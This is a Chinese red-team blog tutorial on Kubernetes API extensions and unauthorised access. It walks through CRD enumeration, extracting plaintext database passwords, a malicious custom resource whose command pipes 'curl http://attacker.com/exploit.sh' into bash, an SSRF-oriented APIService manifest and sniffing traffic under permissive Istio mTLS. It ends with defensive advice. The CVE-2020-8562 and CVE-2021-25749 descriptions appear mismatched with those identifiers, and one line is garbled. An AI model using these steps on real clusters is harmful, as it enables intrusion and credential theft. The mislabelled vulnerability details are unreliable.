红队视角出发的k8s敏感信息收集——Kubernetes API 扩展与未授权访问
针对 Kubernetes API 扩展与未授权访问 的详细攻击视角分析,聚焦 Custom Resource Definitions (CRD) 和 Aggregated API Servers 的潜在攻击面及利用方法:
攻击链示例
1. 攻击者通过 ServiceAccount Token 访问集群 →
2. 枚举 CRD 发现数据库配置资源 →
3. 提取明文数据库密码 →
4. 通过未授权的 metrics-server API 定位高负载节点 →
5. 横向渗透至数据库 Pod。
Custom Resource Definitions (CRD) 攻击场景
目标:通过查询或滥用 CRD,发现自定义资源中的敏感数据(如凭据)、漏洞的自定义控制器,或利用宽松的 RBAC 权限进行提权。
枚举集群中的 CRD
列出所有 CRD
为了枚举Kubernetes集群中的自定义资源定义(Custom Resource Definitions, CRDs),可以使用kubectl get crd命令。这将帮助你了解当前集群中定义了哪些CRD,以及它们的一些基本信息。
执行以下命令来列出集群中所有的CRD,并以宽格式输出(-o wide),以便获取更多细节:
kubectl get crd -o wide
运行上述命令后,你可能会看到类似如下的输出:
NAME CREATED AT AGE
databases.example.com 2024-01-01T12:00:00Z 14m
workflows.argoproj.io 2024-01-02T15:30:00Z 13m
在这个示例输出中:
- NAME 列出了每个CRD的名称。
- CREATED AT 显示了每个CRD创建的时间戳。
- AGE 表明了从创建到现在的时间长度。
如果你想查看某个特定CRD的更详细信息,包括其规格和状态,可以使用kubectl describe命令。例如,要获取关于databases.example.com CRD的详细信息,你可以运行:
kubectl describe crd databases.example.com
此命令会提供该CRD的完整定义,包括它的规格、状态、已建立的资源版本等详细信息,这对于理解CRD的功能及其在集群中的使用情况非常有用。
分析高风险 CRD
敏感数据存储
分析Kubernetes集群中的自定义资源定义(CRD)以识别潜在的安全风险是确保集群安全的重要步骤。以下是两个主要的风险点及如何进行相应的分析:
如果CRD名称包含诸如secret、credential、config等关键词,这可能意味着该CRD用于存储或处理敏感信息。虽然名称本身并不能完全确定其是否真的存储了敏感数据,但它确实是一个重要的提示信号。
你可以通过以下命令过滤出名称中包含特定关键词的CRD:
kubectl get crd -o json | jq '.items[] | select(.metadata.name | contains("secret") or contains("credential") or contains("config")) | .metadata.name'
一旦找到了可能涉及敏感数据的CRD,可以进一步查看它们的详细定义和用途:
kubectl describe crd <crd-name>
通过检查CRD的规范部分(.spec),你可以了解这些资源是如何被使用的,以及它们的数据模型是否确实包含敏感信息。
自定义控制器漏洞
自定义控制器通常与CRD紧密相关,负责监听并处理这些资源的变化。如果控制器镜像存在已知的安全漏洞(CVE),则可能导致严重的安全隐患。
首先,找到与CRD相关的控制器部署。这通常涉及到查找相关的Deployment、StatefulSet或其他工作负载资源。你可以从CRD的描述信息或者直接在集群配置文件中寻找线索。
例如,如果你知道某个CRD是由特定命名空间下的Deployment管理的,可以查看该Deployment的详细信息:
kubectl get deployment -n <namespace> -o yaml | grep image:
这条命令会列出指定命名空间下所有Deployment所使用的容器镜像。
对于每个镜像,你可以使用多种工具和服务来检查是否存在已知的CVE:
- Trivy 或 Clair:这些工具可以帮助你扫描容器镜像中的已知漏洞。
- 云提供商的安全扫描服务:如AWS ECR、Google Container Registry等提供的内置镜像扫描功能。
例如,使用Trivy扫描一个本地或远程的Docker镜像:
trivy image <image-name>
查询自定义资源数据
获取自定义资源实例
为了查询特定自定义资源(CR)的实例数据,你可以使用kubectl get命令并指定自定义资源的类型和命名空间。以下是如何获取名为databases.example.com的CRD在default命名空间下的所有实例,并以YAML格式输出其详细信息。
假设CRD的名称为databases.example.com,你可以运行以下命令来获取该CRD的所有实例及其详细配置:
kubectl get databases.example.com -n default -o yaml
这条命令会输出所有属于databases.example.com类型的自定义资源实例的详细信息,包括它们的规格(spec)、状态(status)等。
以下是可能的输出示例,其中包含了一些敏感信息如数据库连接字符串、用户名和密码:
apiVersion: v1
items:
- apiVersion: databases.example.com/v1alpha1kind: Databasemetadata:name: mysql-dbnamespace: defaultspec:host: mysql.default.svc.cluster.localusername: adminpassword: Pa$$w0rdport: 3306databaseName: mydatabase
kind: List
metadata:resourceVersion: ""selfLink: ""
在这个示例中:
- host: 数据库服务的主机地址。
- username: 连接数据库所需的用户名。
- password: 连接数据库所需的密码。
- port: 数据库服务监听的端口。
- databaseName: 要使用的具体数据库名称。
利用 CRD 控制器的漏洞
利用CRD控制器中的漏洞(如代码执行或服务器端请求伪造SSRF漏洞)进行攻击是一种严重的安全威胁。通过创建恶意的自定义资源实例,攻击者可能能够触发这些漏洞并执行未经授权的操作。以下是如何模拟这种攻击的示例,但请注意,实际执行此类操作是非法且违反道德的行为,仅应在合法授权的安全测试环境中进行。
假设存在一个名为MaliciousJob的CRD,其对应的控制器存在代码执行漏洞。你可以尝试通过创建该类型的资源来触发攻击。下面是一个示例YAML配置文件:
kubectl apply -f - <<EOF
apiVersion: example.com/v1
kind: MaliciousJob
metadata:name: attack
spec:command: "curl http://attacker.com/exploit.sh | bash"
EOF
在这个示例中:
- apiVersion, kind, 和 metadata.name 定义了自定义资源的API版本、类型和名称。
- spec.command 包含了将要执行的命令。这里假设攻击者想要从远程服务器下载一个脚本并立即执行它。
提权场景示例
宽松的 RBAC 权限
如果RBAC配置过于宽松,允许广泛的权限(如create、update等),则可能存在被滥用的风险。
要检查某个ServiceAccount是否具有对特定CRD执行某些操作(例如创建databases.example.com类型的资源)的权限,可以使用kubectl auth can-i命令。以下是如何操作的具体步骤:
假设你想验证当前上下文中的ServiceAccount是否有权限在所有命名空间中创建databases.example.com类型的资源,可以运行以下命令:
kubectl auth can-i create databases.example.com --all-namespaces
- 如果返回 “yes”,表示该ServiceAccount确实有权限创建这种类型的资源。
- 如果返回 “no”,则表示没有相应的权限。
若发现权限设置过于宽松,需要进一步查看相关的Role或ClusterRole以及它们绑定到ServiceAccount的方式。可以通过以下命令获取更详细的信息:
kubectl get roles,clusterroles -o wide //列出所有Roles和ClusterRoles
kubectl describe role <role-name> -n <namespace>
# 或者对于ClusterRole
kubectl describe clusterrole <clusterrole-name> //查看特定Role或ClusterRole的详细信息
kubectl get rolebindings,clusterrolebindings -o wide //检查RoleBindings和ClusterRoleBindings
查看具体绑定的详情:
kubectl describe rolebinding <rolebinding-name> -n <namespace>
# 或者对于ClusterRoleBinding
kubectl describe clusterrolebinding <clusterrolebinding-name>
Aggregated API Servers 攻击场景
目标:利用附加 API 服务(如 metrics-server、Istio API)的未授权端点或已知漏洞,获取集群信息或执行命令。
发现聚合 API 服务
列出所有 API 资源
列出所有Kubernetes API资源是一个了解集群中可用资源类型及其属性的有效方法。通过kubectl api-resources命令,你可以查看所有的API资源以及它们是否命名空间化、所属的API版本等信息。以下是具体的命令和示例输出。
要列出所有支持list操作的API资源,并以宽格式显示详细信息,可以使用以下命令:
kubectl api-resources --verbs=list -o wide
运行上述命令后,你可能会看到类似如下的输出:
NAME SHORTNAMES APIVERSION NAMESPACED KIND
metrics metrics metrics.k8s.io/v1beta1 false NodeMetrics
pods po v1 true Pod
services svc v1 true Service
namespaces ns v1 false Namespace
在这个示例输出中:
- NAME: 资源的名称。
- SHORTNAMES: 资源的简称(如果有的话),可用于简化命令输入。
- APIVERSION: 资源对应的API版本。
- NAMESPACED: 表明该资源是否是命名空间级别的(true表示是,false表示不是)。
- KIND: 资源的种类或类型。
如果你想过滤特定的资源类型或者只对某些API组感兴趣,可以结合其他参数使用kubectl api-resources命令。例如,仅列出属于某个特定API组的资源:
kubectl api-resources --api-group=apps
或者,如果你只想查看命名空间级别的资源:
kubectl api-resources --namespaced=true
识别未授权端点
使用 kubectl proxy 命令可以为Kubernetes API服务器创建一个代理服务器,它默认情况下会通过本地的API服务器认证和授权机制进行通信。然而,直接通过这种方式访问API并不意味着绕过了所有的认证和授权检查;实际上,kubectl proxy 会将请求转发给API服务器,并附带当前上下文的认证信息。
但是,如果某个服务(例如metrics-server)配置不当,可能允许未经身份验证或未授权的访问,这就会成为一个安全隐患。下面是如何检测这种情况的具体步骤:
首先,需要启动kubectl proxy,它会在本地机器上打开一个端口(这里以8080为例),并将请求转发到Kubernetes API服务器。
kubectl proxy --port=8080 &
接下来,你可以尝试通过这个代理访问特定的API端点。在这个例子中,我们将尝试访问metrics.k8s.io/v1beta1/nodes,这是一个通常由metrics-server提供的端点,用于获取节点资源使用的数据。
curl http://localhost:8080/apis/metrics.k8s.io/v1beta1/nodes
- 如果响应包含了节点资源使用的详细信息,则说明该端点可能被配置为允许未授权访问(除非你的客户端环境已经预先进行了身份验证)。
- 如果响应是一个权限不足或其他形式的错误消息(如HTTP 403 Forbidden),则表明适当的认证和授权机制正在生效。
利用已知漏洞(以 metrics-server 为例)
CVE-2020-8562:未授权访问
CVE-2020-8562 涉及的是Kubernetes metrics-server的一个安全漏洞,它允许攻击者通过未认证的 /metrics 端点获取敏感指标数据。这种类型的漏洞可能导致未经授权的用户能够访问集群内资源的详细性能数据(如Pod的内存/CPU使用情况),从而可能推断出业务负载和其他敏感信息。
假设攻击者知道了metrics-server的IP地址,他们可以通过以下命令尝试未经身份验证地访问 /metrics 端点:
curl -k https://<metrics-server-ip>:443/metrics
这里的 -k 参数用于忽略SSL证书验证错误(通常在使用自签名证书时需要)。
如果该端点没有正确配置认证和授权,则响应将包含详细的度量数据,例如:
# HELP kube_pod_container_resource_limits_cpu_cores The sum of CPU limits in cores.
# TYPE kube_pod_container_resource_limits_cpu_cores gauge
kube_pod_container_resource_limits_cpu_cores{namespace="default",pod="example-pod"} 1
...
这些信息可以揭示关于Pod资源限制、请求以及实际使用的具体数值,对于攻击者而言,这是非常有价值的信息,可用于进一步的攻击规划或识别潜在的目标。
CVE-2021-25749:kube-apiserver 聚合层 SSRF
通过恶意配置APIService来发起服务器端请求伪造(SSRF)攻击是一种严重的安全威胁。这种攻击利用了Kubernetes API聚合层的特性,允许攻击者将自定义API服务注册到集群中,并且如果配置不当,可能会导致敏感信息泄露或其他形式的安全风险。
以下是一个示例配置,展示了如何创建一个可能被用于SSRF攻击的APIService:
apiVersion: apiregistration.k8s.io/v1
kind: APIService
metadata:name: v1.attacker.com
spec:service:name: malicious-servicenamespace: defaultgroup: attacker.comversion: v1insecureSkipTLSVerify: true # 这个设置可以被用于绕过TLS验证caBundle: "" # 空的CA bundle意味着不使用任何证书验证
在这个配置中:
- service.name 和 service.namespace 指定了后端服务的位置。
- group 和 version 定义了新的API组和版本。
- insecureSkipTLSVerify: true 表示跳过TLS证书验证,这可能导致中间人攻击。
- caBundle: “” 表示没有提供CA证书捆绑包,进一步削弱了安全性。
针对 Service Mesh API(如 Istio)
提取 Envoy 配置
通过Istio控制面API获取路由规则可以帮助你了解服务网格内的流量管理配置,但这也意味着如果权限配置不当,可能会被攻击者利用来获取敏感信息,如内部服务的IP地址和端口映射等。
要通过Istio控制面API(通常是istiod)获取配置信息,可以使用以下命令:
curl -k -H "Authorization: Bearer $TOKEN" \https://istiod.istio-system:15014/config_dump
在这个命令中:
- -k 参数用于忽略SSL证书验证错误。
- -H "Authorization: Bearer T O K E N " 添加了必要的认证头,其中 TOKEN" 添加了必要的认证头,其中 TOKEN"添加了必要的认证头,其中TOKEN是有效的Kubernetes令牌,用于身份验证。
- https://istiod.istio-system:15014/config_dump 是Istio控制面的一个调试端点,它返回当前Envoy代理的配置快照。
利用 mTLS 配置错误
在Istio服务网格中,mTLS(双向TLS)用于加密和验证服务间的通信。然而,如果PeerAuthentication策略配置为PERMISSIVE模式,则意味着服务间通信可以既通过mTLS加密,也可以通过纯文本方式进行。这种配置可能会被攻击者利用来嗅探未加密的流量。
当PeerAuthentication设置为PERMISSIVE时,这意味着服务可以选择使用mTLS或继续使用未加密的HTTP进行通信。这为中间人攻击(MITM)提供了机会,因为攻击者可能能够拦截和读取未加密的流量。
apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:name: defaultnamespace: istio-system
spec:mtls:mode: PERMISSIVE
在此配置下,服务可以选择是否使用mTLS,这意味着存在未加密通信的可能性。
假设你在一个网络位置上能够访问到目标服务的流量,你可以使用工具如tcpdump来捕获网络流量。以下是一个示例命令,用于捕获端口8080上的所有流量并保存到一个文件中:
tcpdump -i eth0 'port 8080' -w traffic.pcap
在这个命令中:
- -i eth0 指定要监听的网络接口。
- ‘port 8080’ 是一个过滤器表达式,仅捕获指定端口上的流量。
- -w traffic.pcap 将捕获的数据包写入traffic.pcap文件,以便后续分析。
总结
首先,通过枚举集群中的Custom Resource Definitions (CRD),可以发现存储敏感数据的资源或存在漏洞的自定义控制器,进而分析是否存在安全风险。其次,宽松的RBAC权限配置可能导致未经授权的操作,如创建恶意资源实例以触发代码执行或SSRF漏洞。此外,Aggregated API Servers若配置不当,也可能成为攻击入口点,允许攻击者获取内部服务的详细信息或执行未授权操作。
为了防御此类攻击,必须实施严格的认证和授权策略,确保所有API访问都经过适当的验证。同时,应避免使用过于宽松的RBAC规则,并定期审查现有的安全设置。启用TLS加密、应用网络隔离措施、以及使用自动化的安全扫描工具来检测和修复已知漏洞也是必要的防护手段。总之,持续的安全监控和审计对于保护Kubernetes环境免受潜在威胁至关重要。通过遵循最佳实践并及时更新安全策略,组织能够有效降低被攻击的风险。
相关文章:
红队视角出发的k8s敏感信息收集——Kubernetes API 扩展与未授权访问
针对 Kubernetes API 扩展与未授权访问 的详细攻击视角分析,聚焦 Custom Resource Definitions (CRD) 和 Aggregated API Servers 的潜在攻击面及利用方法: 攻击链示例 1. 攻击者通过 ServiceAccount Token 访问集群 → 2. 枚举 CRD 发现数据库配…...
一种 SQL Server 数据库恢复方案:解密、恢复并导出 MDF/NDF/BAK文件
方案特色 本方案可以轻松恢复和导出SQL数据库:MDF、NDF 和 BAK 文件。 恢复和导出SQL数据库:主(MDF),辅助(NDF)和备份(BAK)文件分析 SQL Server LOG 数据库事务日志将 …...
Pygame中自定义事件处理的方法2-1
1 Pygame事件处理流程 Pygame中的事件处理流程如图1所示。 图1 Pygame中事件处理流程 系统事件包括鼠标事件和键盘事件等,当用户点击了鼠标或者键盘时,这些事件会自动被放入系统的事件队列中。用户自定义事件需要通过代码才能被放入事件队列中。Pygame…...
langchain学习笔记之消息存储在内存中的实现方法
langchain学习笔记之消息存储在内存中的实现方法 引言背景消息存储在内存的实现方法消息完整存储:完整代码 引言 本节将介绍 langchain \text{langchain} langchain将历史消息存储在内存中的实现方法。 背景 在与大模型交互过程中,经常出现消息管理方…...
HarmonyOS组件之Tabs
Tabs 1.1概念 Tabs 视图切换容器,通过相适应的页签进行视图页面的切换的容器组件每一个页签对应一个内容视图Tabs拥有一种唯一的子集元素TabContent 1.2子组件 不支持自定义组件为子组件,仅可包含子组件TabContent,以及渲染控制类型 if/e…...
【C++】基础入门(详解)
🌟 Hello,我是egoist2023! 🌍 种一棵树最好是十年前,其次是现在! 目录 输入&输出 缺省参数(默认参数) 函数重载 引用 概念及定义 特性及使用 const引用 与指针的关系 内联inline和nullptr in…...
bps是什么意思
本文来自DeepSeek "bps" 是 "bits per second" 的缩写,表示每秒传输的比特数,用于衡量数据传输速率。1 bps 即每秒传输 1 比特。 常见单位 bps:比特每秒 Kbps:千比特每秒(1 Kbps 1,000 bps&am…...
OceanBase使用ob-loader-dumper导出表报ORA-00600
执行下面的语句导出表报错,同样的语句之前都没有报错。 ob-loader-dumper-4.2.8-RELEASE/bin/obdumper -h xxx.xxx.xxx.xxx -P 2883 -p 密码 --column-splitter| --no-sys-t gzuat_ss#ob8(集群) -D 数据库名 --cut --table teacher --no-ne…...
JUC并发总结一
大纲 1.Java集合包源码 2.Thread源码分析 3.volatile关键字的原理 4.Java内存模型JMM 5.JMM如何处理并发中的原子性可见性有序性 6.volatile如何保证可见性 7.volatile的原理(Lock前缀指令 + 内存屏障) 8.双重检查单例模式的volatile优化 9.synchronized关键字的原理 …...
hive:分区>>静态分区,动态分区,混合分区
分区表 使用场景:数据量庞大且经常用来做查询的表 特点:将数据分别存储到不同的目录里 优点:避免全盘扫描,提高查询效率 分区的类型 它们的默认值分别是: false, strict, 要求至少有一个静态分区列,而 nonstr…...
深入解析PID控制算法:从理论到实践的完整指南
前言 大家好,今天我们介绍一下经典控制理论中的PID控制算法,并着重讲解该算法的编码实现,为实现后续的倒立摆样例内容做准备。 众所周知,掌握了 PID ,就相当于进入了控制工程的大门,也能为更高阶的控制理论…...
linux--关于GCC、动态库静态库
gcc和g的异同 他们是不同的编译器, 在linux中,生成可执行文件不像和windows一样。 linux中是以**.out作为可执行文件**的 无论是什么系统,生成可执行文件分为4步: 预处理–>编译–>汇编–>链接。 从.c/.cpp–>.i文件…...
matlab汽车动力学半车垂向振动模型
1、内容简介 matlab141-半车垂向振动模型 可以交流、咨询、答疑 2、内容说明 略 3、仿真分析 略 4、参考论文 略...
Pygame中自定义事件处理的方法2-2
在《Pygame中自定义事件处理的方法2-1》中提到了处理自定义事件的方法。通过处理自定义事件,可以实现动画等效果。 1 弹跳小球程序 通过处理自定义事件,可以实现弹跳小球程序,如图1所示。 图1 弹跳小球程序 2 弹跳小球程序原理 实现弹跳小…...
B. Longest Divisors Interval
time limit per test 2 seconds memory limit per test 256 megabytes Given a positive integer nn, find the maximum size of an interval [l,r][l,r] of positive integers such that, for every ii in the interval (i.e., l≤i≤rl≤i≤r), nn is a multiple of ii. …...
什么是服务的雪崩、熔断、降级的解释以及Hystrix和Sentinel服务熔断器的解释、比较
1.什么是服务雪崩? 定义:在微服务中,假如一个或者多个服务出现故障,如果这时候,依赖的服务还在不断发起请求,或者重试,那么这些请求的压力会不断在下游堆积,导致下游服务的负载急剧…...
从驾驶员到智能驾驶:汽车智能化进程中的控制与仿真技术
在汽车技术持续演进的历程中,人类驾驶员始终是一个极具研究价值的智能控制系统“原型”。驾驶员通过视觉感知、行为决策与操作执行的闭环控制,将复杂的驾驶任务转化为车辆的实际动作,同时动态适应道路环境的变化。这一过程不仅体现了高度的自…...
mysql和minio
在现代应用架构中,Word 文档、PPT 等文件通常存储在对象存储服务(如 MinIO)中,而不是直接存储在关系型数据库(如 MySQL)中。以下是具体的分工和原因: 为什么选择对象存储(如 MinIO&a…...
java练习(24)
PS:练习来自力扣 合并两个有序数组 给你两个按 非递减顺序 排列的整数数组 nums1 和 nums2,另有两个整数 m 和 n ,分别表示 nums1 和 nums2 中的元素数目。 请你 合并 nums2 到 nums1 中,使合并后的数组同样按 非递减顺序 排列。 注意&am…...
Android的Activity生命周期知识点总结,详情
一. Activity生命周期 1.1 返回栈知识点 二. Activity状态 2.1 启动状态 2.2 运行状态 2.3 暂停状态 2.4 停止状态 2.5 销毁状态 三. Activity生存期 3.1 回调方法 3.2 生存期 四. 体验Activity的生命周期 五. Activity被回收办法 引言: 掌握Acti…...
STM32——HAL库开发笔记19(串口中断接收实验)(参考来源:b站铁头山羊)
本实验,我们以中断的方式使得串口发送数据控制LED的闪烁速度,发送1,慢闪;发送2,速度正常;发送3,快闪。 一、电路连接图 二、实现思路&CubeMx配置 1、实现控制LED的闪烁速度 uint32_t bli…...
基于腾讯云TI-ONE 训练平台快速部署和体验 DeepSeek 系列模型
引言 在前两篇文章中,我们通过腾讯云的HAI部署了DeepSeek-R1,并基于此进行了一系列实践。 腾讯云HAI DeepSeek 腾讯云AI代码助手 :零门槛打造AI代码审计环境 基于腾讯云HAI DeepSeek 快速开发中医辅助问诊系统 这些尝试不仅帮助我们理解…...
python的类装饰器
装饰器不仅可以用于函数,还能作用于类。将装饰器应用于类时,其核心原理与作用于函数类似,都是通过接收一个类作为输入,然后返回一个新的类或者修改后的原类,以此来为类添加额外的功能 简单的类装饰器 def add_method…...
C++17中的LegacyContiguousIterator(连续迭代器)
文章目录 特点内存连续性与指针的兼容性更高的性能 适用场景与C接口交互高性能计算 支持连续迭代器的容器示例代码性能优势缓存局部性指针算术优化 注意事项总结 在C17标准里,LegacyContiguousIterator(连续迭代器)是一类特殊的迭代器。它不仅…...
Linux-文件IO
1.open函数 【1】基本概念和使用 #include <fcntl.h> int open(const char *pathname,int flags); int open(const char *pathname,int flags,mode_t mode); 功能: 打开或创建文件 参数: pathname //打开的文件名 f…...
DeepSeek-R1 + Cherry Studio 本地部署打造个人 AI 知识库
ChatGPT 爆火的时候,我心里就燃起了一个想法:打造一个专属于自己的AI知识库,它就像我的第二大脑一样,能记住我生活里的点点滴滴。 我随口一问“去年5月我做了什么”,它不仅能精准找到记录,还能帮我回忆起那…...
《红色警戒:兵临城下》 游戏软件安装步骤与百度网盘链接
软件简介: 《红色警戒:兵临城下》(Command & Conquer: Red Alert)是一款经典的即时战略游戏,由Westwood Studios开发,于1996年首次发行。它是《命令与征服》系列的衍生作品,以其独特的世界…...
25/2/16 <算法笔记> DirectPose
DirectPose 是一种直接从图像中预测物体的 6DoF(位姿:6 Degrees of Freedom)姿态 的方法,包括平移和平面旋转。它在目标检测、机器人视觉、增强现实(AR)和自动驾驶等领域中具有广泛应用。相比于传统的位姿估…...
第32周:文献阅读
目录 摘要 Abstract 文献阅读 问题引入 研究问题 研究意义 研究方法 集成方法 随机森林(RF) 支持向量机(SVM) 简单循环神经网络(SimpleRNN) 长短期记忆网络(LSTM) 创…...
Ollama 开发指南
文章来源:开发指南 - Ollama中文文档|Ollama官方文档 安装先决条件: GOC/C 编译器,例如 macOS 上的 Clang、TDM-GCC (Windows amd64) 或 llvm-mingw (Windows arm64)、Linux 上的 GCC/Clang。…...
【deepseek与chatGPT辩论】辩论题: “人工智能是否应当具备自主决策能力?”
探讨辩论题 这个提案涉及创建一个精确的辩论题目,旨在测试deepseek的应答能力。 创建辩论题目 提议设计一个辩论题目以测试deepseek的应答能力。希望这个题目具有挑战性并能够测量其回应质量。 好的,来一道适合深度学习的辩论题: 辩论题&…...
神经网络常见激活函数 9-CELU函数
文章目录 CELU函数导函数函数和导函数图像优缺点pytorch中的CELU函数tensorflow 中的CELU函数 CELU 连续可微指数线性单元:CELU(Continuously Differentiable Exponential Linear Unit),是一种连续可导的激活函数,结合了 ELU 和 …...
JavaScript系列(74)--反射API详解
JavaScript反射API详解 🔍 JavaScript的反射API提供了强大的运行时检查和操作对象的能力。本文将深入探讨Reflect API的原理、应用场景和最佳实践。 反射基础 🌟 💡 小知识:反射是指程序在运行时能够检查、修改自身结构和行为的…...
轻量级分组加密算法RECTANGLE
轻量级分组加密算法RECTANGLE RECTANGLE轻量级分组密码算法是Wentao Zhang,Zhenzhen Bao,Dongdai Lin等学者于2014年提出的,该算法是SPN结构的,采用了线性移位的置换层以及44bit的S盒。RECTANGLE是一个迭代分组密码,分组长度为64…...
智能设备监控:AI 与 Python 助力设备管理的未来
智能设备监控:AI 与 Python 助力设备管理的未来 引言 随着物联网(IoT)和智能设备的广泛应用,我们的日常生活逐渐离不开这些高科技产品。从智能家居到工业控制,智能设备已经渗透到各个领域。然而,随着设备种类和数量的增加,如何高效地监控这些设备,确保它们的稳定性和…...
python语言进阶之函数
目录 前言 函数的创建和调用 函数创建 调用函数 参数传递 形式参数和实际参数 位置参数 数量必须与定义时一致 位置必须与定义时一致 关键字参数 为参数设置默认值 可变参数 **parameter 返回值 变量的作用域 局部变量 全局变量 匿名函数 前言 提到函数&…...
Golang Model 字段自动化校验设计
背景 在我们日常开发中,不可避免的总要去进行各种参数校验,但是如果在某个场景中,要校验的字段非常多,并且在其中还有耦合关系,那么我们手写校验逻辑就变得非常的低效且难以维护。本篇文档就基于 DDD 领域模型设计的思…...
Hot100 堆
215. 数组中的第K个最大元素 - 力扣(LeetCode) 堆排序 我们可以借助一个小顶堆来维护当前堆内元素的最小值,同时保证堆的大小为 k: 遍历数组将元素入堆; 如果当前堆内元素超过 k 了,我们就把堆顶元素去除…...
AIGC图生视频保姆级教程
一、AI文生图高阶技巧 推荐工具 ▸ MidJourney(艺术感最强) ▸ DALLE 3(与ChatGPT深度联动) ▸ Leonardo.ai(精细化参数控制) 核心策略 提示词架构: [主体描述][环境氛围][镜头语言][风格参数…...
Qt QDateTimeEdit总结
1. 概述 QDateTimeEdit 是 Qt 提供的用于编辑日期和时间的控件,支持直接输入或通过弹出日历/时间选择器调整值。继承自 QAbstractSpinBox,是 QDateEdit 和 QTimeEdit 的父类,可同时处理日期和时间。默认显示格式为系统本地化的日期时间格式&…...
【吾爱出品】 视频批量分段工具
视频批量分段工具 链接:https://pan.xunlei.com/s/VOJDvtHQE7GOiJ84WNea5Ay1A1?pwd5nta# 选择视频文件 启动程序后,点击 "文件" 菜单下的 "选择视频文件" 按钮,或者直接将视频文件拖放到程序窗口中的视频列表区域。支…...
SHEIN的迁移与无奈
日前,因杭州宇树科技、DeepSeek的“六小龙”企业崛起,不少地方开始反思,为什么本地没有留住创始人,或者发展出类似的企业。例如DeepSeek创始人梁文锋和Kimi创始人杨植麟都是广东人,但都在其他地区创业成功。而还有媒体…...
TCP/UDP 简介,三次握手与四次挥手
一、TCP 三次握手 目的:为了解决在不可靠的信道上建立可靠的网络连接 三次握手是连接请求的过程: A 发送连接请求的数据给 B(发送 SYN 包) B 同意连接,返回数据给 A(返回 SYNACK 包) A 收到后回…...
Windows Defender Control--禁用Windows安全中心
Windows Defender Control--禁用Windows安全中心 链接:https://pan.xunlei.com/s/VOJDuy2ZEqswU4sEgf12JthZA1?pwdtre6#...
数据仓库与数据湖的协同工作:智慧数据管理的双引擎
数据仓库与数据湖的协同工作:智慧数据管理的双引擎 引言 在数据驱动的今天,企业和组织收集和存储的数据量正以惊人的速度增长。如何高效管理和利用这些数据,成为了决策者和技术专家的共同难题。为了解决这一问题,数据仓库(Data Warehouse)和数据湖(Data Lake)这两种技…...
50. c++多维数组
在‘19 数组’中描述了原生数组的本质和其索引的原理,一维数组是连续的一个内存块,本质就是指针,指向这个内存块的起始位置,索引的原理就是对该指针的操作。通常对数组的操作一种策略就是使用指针,二维数组可以说是数组…...
用大模型学大模型05-线性回归
deepseek.com:多元线性回归的目标函数,损失函数,梯度下降 标量和矩阵形式的数学推导,pytorch真实能跑的代码案例以及模型,数据,预测结果的可视化展示, 模型应用场景和优缺点,及如何改进解决及改进方法数据推…...
苹果CMS站群插件的自动生成功能:提升网站流量的秘诀
引言 在数字营销的浪潮中,站群技术因其强大的流量引导能力而备受青睐。苹果CMS作为一款优秀的内容管理系统,凭借其灵活性和可扩展性,成为了站群管理的理想选择。本文将详细介绍苹果CMS站群插件的自动生成功能,探讨如何通过这一功…...
大语言模型中one-hot编码和embedding之间的区别?
1. 维度与稀疏性 One-Hot编码 定义:每个词被表示为一个高维稀疏向量,维度等于词汇表大小。例如,词汇表有10,000个词,每个词对应一个10,000维的向量,其中仅有一个位置为1(表示当前词)࿰…...
【Bluedroid】 BLE连接源码分析(一)
BLE链接过程分析见【Bluedroid】BLE连接过程详解-CSDN博客,本篇主要围绕HCI_LE_Create_Connection展开。基于Android14源码进行分析。在蓝牙低功耗技术中,设备之间建立连接是进行数据传输等操作的前提。HCI LE Extended Create Connection Command 提供了一种更灵活、功能更丰…...